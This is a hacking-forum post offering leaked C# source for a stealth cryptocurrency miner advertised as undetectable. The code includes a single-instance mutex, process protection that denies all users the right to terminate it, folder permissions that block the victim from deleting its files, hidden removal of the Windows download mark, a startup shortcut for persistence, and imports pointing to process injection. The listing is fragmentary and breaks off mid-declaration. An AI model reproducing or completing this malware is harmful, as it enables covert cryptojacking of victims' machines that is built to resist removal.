Locked Leak DeadCow Miner Source Code [LTC&BTC] [FUD] [PERSISTANCE] [STARTUP]

goldregister · February 17, 2014

This is the hidden content, please

[LENGUAJE=C#]#define STARTUP1

#define PROCESSPROTECTION

#define MINERPERSISTANCE

#define STARTUPPERSISTANCE

#define LOCALMINER

using System;

using System.Collections.Generic;

using System.Diagnostics;

using System.IO;

using System.Net;

using System.Reflection;

using System.Resources;

using System.Runtime.InteropServices;

using System.Security.AccessControl;

using System.Security.Cryptography;

using System.Security.Principal;

using System.Text;

using System.Threading;

namespace oqlark

{

public class nwlimwlo

{

public nwlimwlo()

{

bool outMutex;

Mutex mtx = new Mutex(true, "pogbbqkf", out outMutex);

if (!outMutex)

{

Environment.Exit(0);

}

GC.KeepAlive(mtx);

#if (PROCESSPROTECTION)

phfebu.hvpud(Process.GetCurrentProcess().Id);

#endif

#if (STARTUP1)

xjidzwc.tqa();

#endif

xdqujdirs options = new xdqujdirs();

options.qecqqq = bool.Parse("False");

options.utr = wazjze.erwreauva;

options.boq = "http://www.pool.com";

options.tuxf = int.Parse("1234");

options.axqsw = "username";

options.fyln = bool.Parse("True");

options.uhpzpgjfu = "password";

options.sic = int.Parse("-1");

options.tab = bool.Parse("False");

options.bket = "127.0.0.1";

options.lvkoihql = int.Parse("1234");

options.vzff = zvbet.http;

cbd.wgjsmthh(options);

Process.GetCurrentProcess().WaitForExit();

}

#if(PROCESSPROTECTION || STARTUP1)

private static class phfebu

{

#if(PROCESSPROTECTION)

public static void hvpud(int ukyuqv)

{

//Console.WriteLine("Setted Process Permission");

try

{

IntPtr processHandle = Process.GetProcessById(ukyuqv).Handle;

const int dal_SECURITY_INFORMATION = 0x4;

byte[] buff = new byte[0];

uint setblock = 0;

pdkz.GetKernelObjectSecurity(processHandle, dal_SECURITY_INFORMATION, buff, 0, ref setblock);

if (!(setblock < 0 || setblock > short.MaxValue))

{

buff = new byte[setblock];

if (pdkz.GetKernelObjectSecurity(processHandle, dal_SECURITY_INFORMATION,

buff, setblock, ref setblock))

{

RawSecurityDescriptor rsd = new RawSecurityDescriptor(buff, 0);

rsd.DiscretionaryAcl.InsertAce(0,

new CommonAce(AceFlags.None, AceQualifier.AccessDenied,

Convert.ToInt32(pdkz.ktevv | pdkz.kfzvptxku | pdkz.yfryx | pdkz.cfx),

new SecurityIdentifier(WellKnownSidType.WorldSid, null), false, null));

byte[] rawsd = new byte[rsd.BinaryLength];

rsd.GetBinaryForm(rawsd, 0);

if (pdkz.SetKernelObjectSecurity(processHandle, dal_SECURITY_INFORMATION, rawsd))

{

return;

}

catch(Exception ex)

{

//Console.WriteLine(ex.Message);

}

#endif

#if (STARTUP1)

public static void cpavk(string dir)

{

//Console.WriteLine("Setted Directory Permissions");

try

{

string cUser = System.Security.Principal.WindowsIdentity.GetCurrent().Name;

FileSystemAccessRule rule1 = new FileSystemAccessRule("Administrators", FileSystemRights.FullControl,

InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None,

AccessControlType.Allow);

FileSystemAccessRule rule2 = new FileSystemAccessRule(cUser,

FileSystemRights.Delete | FileSystemRights.DeleteSubdirectoriesAndFiles | FileSystemRights.ChangePermissions | FileSystemRights.TakeOwnership,

InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None,

AccessControlType.Deny);

FileSystemAccessRule rule3 = new FileSystemAccessRule(cUser,

FileSystemRights.ReadAndExecute | FileSystemRights.Write, InheritanceFlags.ObjectInherit, PropagationFlags.None,

AccessControlType.Allow);

DirectorySecurity dSec = new DirectorySecurity();

dSec.AddAccessRule(rule1);

dSec.AddAccessRule(rule3);

dSec.AddAccessRule(rule2);

if (Directory.Exists(dir))

{

Directory.SetAccessControl(dir, dSec);

}

else

{

Directory.CreateDirectory(dir, dSec);

}

//return true;

}

catch

{

//return false;

}

public static void zohljuhzb(string akr)

{

//Console.WriteLine("Deleted Zone.Identifier");

Process cmd = new Process();

cmd.StartInfo.FileName = "cmd.exe";

cmd.StartInfo.CreateNoWindow = true;

cmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

cmd.StartInfo.Arguments =

string.Format("/c type nul > " + Convert.ToChar(34) + "{0}:Zone.Identifier" + Convert.ToChar(34), akr);

cmd.Start();

}

public static string ozmtfe(string bpsy)

{

//Console.WriteLine("Created StartUP Key");

StringBuilder sb = new StringBuilder();

sb.Append("[internetShortcut]\r\n");

sb.AppendFormat("URL=file:///{0}\r\n", bpsy);

sb.Append("IconIndex=0\r\n");

sb.AppendFormat("IconFile={0}\r\n", bpsy.Replace(@"\", "/"));

return sb.ToString();

}

#endif

}

#endif

private static class pdkz

{

[DllImport("kernel32.dll", SetLastError = true)]

public static extern bool CreateProcessA(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo);

[DllImport("kernel32.dll", SetLastError = true)]

public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);